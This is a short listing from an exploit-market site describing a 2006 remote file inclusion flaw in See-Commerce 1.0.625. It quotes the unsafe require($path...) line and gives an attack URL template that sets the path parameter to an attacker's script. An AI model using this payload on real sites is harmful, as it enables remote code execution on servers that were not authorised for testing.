[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

See-Commerce <= 1.0.625 (owimg.php3) Remote Include Vulnerability

Author
Drago84
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-670
Category
web applications
Date add
08-08-2006
Platform
unsorted
=================================================================
See-Commerce <= 1.0.625 (owimg.php3) Remote Include Vulnerability
=================================================================



See-Commerce Remote File Inclusion

CreW: ToXiC

Bug Found by Drago84

Source Code:
http://freshmeat.net/redir/seecommerce/14016/url_zip/sc-1.0.625.zip

Problem Is:
require($path."/ow.inc");

Page Affect:
http://[site]/[see-commerce directory]/owimg.php3?path=[evil script]



#  0day.today [2024-12-25]  #